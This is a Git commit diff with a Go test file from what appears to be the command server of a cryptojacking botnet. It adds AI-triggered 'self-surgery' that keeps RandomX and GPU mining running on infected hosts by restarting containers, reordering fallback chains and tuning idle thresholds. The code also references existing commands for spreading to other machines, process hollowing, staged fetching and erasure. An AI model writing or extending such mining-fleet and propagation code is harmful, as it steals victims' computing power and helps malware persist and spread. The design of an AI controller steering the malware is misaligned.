Add mining self-surgery for on-host recovery when AI control detects stalls.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
When ai_control_enabled and mining interrupts or hashrate drops, the server composes same-agent fix plans (container restart, chain reorder, GPU swap, idle tune, RandomX restart) with Seer and oath ledger audit — no spread or lateral escalation.
This commit is contained in:
@@ -5,6 +5,60 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Mining-only self-surgery command types (same agent, no spread/lateral).
|
||||
const (
|
||||
CmdMiningSelfSurgery = "mining_self_surgery"
|
||||
CmdContainerRestart = "container_restart"
|
||||
CmdFallbackChainReorder = "fallback_chain_reorder"
|
||||
CmdGPUSubprocessSwap = "gpu_subprocess_swap"
|
||||
CmdIdleThresholdTune = "idle_threshold_tune"
|
||||
CmdRandomXRestart = "randomx_restart"
|
||||
)
|
||||
|
||||
var miningSelfSurgeryTypes = map[string]bool{
|
||||
CmdMiningSelfSurgery: true,
|
||||
CmdContainerRestart: true,
|
||||
CmdFallbackChainReorder: true,
|
||||
CmdGPUSubprocessSwap: true,
|
||||
CmdIdleThresholdTune: true,
|
||||
CmdRandomXRestart: true,
|
||||
}
|
||||
|
||||
var forbiddenSpreadTypes = map[string]bool{
|
||||
CmdDiscoverAndJoin: true,
|
||||
CmdSpreadNow: true,
|
||||
CmdSpreadGraft: true,
|
||||
CmdSpreadRetryLane: true,
|
||||
CmdStageFetch: true,
|
||||
"discover_join": true,
|
||||
"process_hollowing": true,
|
||||
"hollow": true,
|
||||
}
|
||||
|
||||
// IsMiningSelfSurgeryCommand reports on-host mining fix types.
|
||||
func IsMiningSelfSurgeryCommand(typ string) bool {
|
||||
return miningSelfSurgeryTypes[normalizeCommandType(typ)]
|
||||
}
|
||||
|
||||
// IsForbiddenSpreadCommand reports lateral/spread command types excluded from self-surgery.
|
||||
func IsForbiddenSpreadCommand(typ string) bool {
|
||||
return forbiddenSpreadTypes[normalizeCommandType(typ)]
|
||||
}
|
||||
|
||||
// FilterMiningSelfSurgeryCommands drops spread/lateral commands from a parsed list.
|
||||
func FilterMiningSelfSurgeryCommands(cmds []Command) []Command {
|
||||
out := make([]Command, 0, len(cmds))
|
||||
for _, c := range cmds {
|
||||
if IsForbiddenSpreadCommand(c.Type) {
|
||||
continue
|
||||
}
|
||||
if IsMiningSelfSurgeryCommand(c.Type) || c.Type == CmdRestartMining || c.Type == CmdReorderTiers || c.Type == CmdSkipTier {
|
||||
out = append(out, c)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ExpandSurgicalCommand maps surgical fix types to executable fleet commands.
|
||||
func ExpandSurgicalCommand(cmd Command) []Command {
|
||||
switch cmd.Type {
|
||||
@@ -14,11 +68,59 @@ func ExpandSurgicalCommand(cmd Command) []Command {
|
||||
return []Command{ResolveSkipTier(cmd.Args)}
|
||||
case CmdPersonaTweak, CmdEnableErasure, CmdSpreadGraft:
|
||||
return []Command{cmd}
|
||||
case CmdMiningSelfSurgery:
|
||||
return ExpandMiningSelfSurgery(cmd)
|
||||
case CmdContainerRestart, CmdFallbackChainReorder, CmdGPUSubprocessSwap, CmdIdleThresholdTune, CmdRandomXRestart:
|
||||
return []Command{cmd}
|
||||
default:
|
||||
return []Command{cmd}
|
||||
}
|
||||
}
|
||||
|
||||
// ExpandMiningSelfSurgery unwraps a bundled mining_self_surgery command into action steps.
|
||||
func ExpandMiningSelfSurgery(cmd Command) []Command {
|
||||
args := cmd.Args
|
||||
if args == nil {
|
||||
return []Command{cmd}
|
||||
}
|
||||
raw, ok := args["actions"]
|
||||
if !ok {
|
||||
return []Command{cmd}
|
||||
}
|
||||
var actions []string
|
||||
switch v := raw.(type) {
|
||||
case []interface{}:
|
||||
for _, item := range v {
|
||||
if s, ok := item.(string); ok && strings.TrimSpace(s) != "" {
|
||||
actions = append(actions, normalizeCommandType(s))
|
||||
}
|
||||
}
|
||||
case []string:
|
||||
for _, s := range v {
|
||||
if strings.TrimSpace(s) != "" {
|
||||
actions = append(actions, normalizeCommandType(s))
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(actions) == 0 {
|
||||
return []Command{cmd}
|
||||
}
|
||||
out := make([]Command, 0, len(actions))
|
||||
for _, action := range actions {
|
||||
if IsForbiddenSpreadCommand(action) {
|
||||
continue
|
||||
}
|
||||
stepArgs := map[string]interface{}{}
|
||||
for _, k := range []string{"chain_order", "skip_methods", "idle_threshold_pct", "reason", "trigger"} {
|
||||
if v, ok := args[k]; ok {
|
||||
stepArgs[k] = v
|
||||
}
|
||||
}
|
||||
out = append(out, Command{Type: action, Args: stepArgs})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// FormatSurgicalFixArgs serializes command args for strain memory storage.
|
||||
func FormatSurgicalFixArgs(cmd Command) string {
|
||||
if cmd.Args == nil {
|
||||
|
||||
42
server/internal/ai/surgical_commands_mining_test.go
Normal file
42
server/internal/ai/surgical_commands_mining_test.go
Normal file
@@ -0,0 +1,42 @@
|
||||
package ai
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestExpandMiningSelfSurgeryUnwrapsActions(t *testing.T) {
|
||||
out := ExpandMiningSelfSurgery(Command{
|
||||
Type: CmdMiningSelfSurgery,
|
||||
Args: map[string]interface{}{
|
||||
"actions": []interface{}{"container_restart", "randomx_restart"},
|
||||
},
|
||||
})
|
||||
if len(out) != 2 {
|
||||
t.Fatalf("len=%d want 2", len(out))
|
||||
}
|
||||
if out[0].Type != CmdContainerRestart || out[1].Type != CmdRandomXRestart {
|
||||
t.Fatalf("types=%v %v", out[0].Type, out[1].Type)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFilterMiningSelfSurgeryCommandsDropsSpread(t *testing.T) {
|
||||
cmds := FilterMiningSelfSurgeryCommands([]Command{
|
||||
{Type: CmdDiscoverAndJoin},
|
||||
{Type: CmdContainerRestart},
|
||||
{Type: CmdSpreadNow},
|
||||
{Type: CmdRandomXRestart},
|
||||
})
|
||||
if len(cmds) != 2 {
|
||||
t.Fatalf("len=%d want 2", len(cmds))
|
||||
}
|
||||
if cmds[0].Type != CmdContainerRestart || cmds[1].Type != CmdRandomXRestart {
|
||||
t.Fatalf("cmds=%v", cmds)
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsForbiddenSpreadCommand(t *testing.T) {
|
||||
if !IsForbiddenSpreadCommand("discover_and_join") {
|
||||
t.Fatal("expected forbidden")
|
||||
}
|
||||
if IsForbiddenSpreadCommand("container_restart") {
|
||||
t.Fatal("mining fix should not be forbidden")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user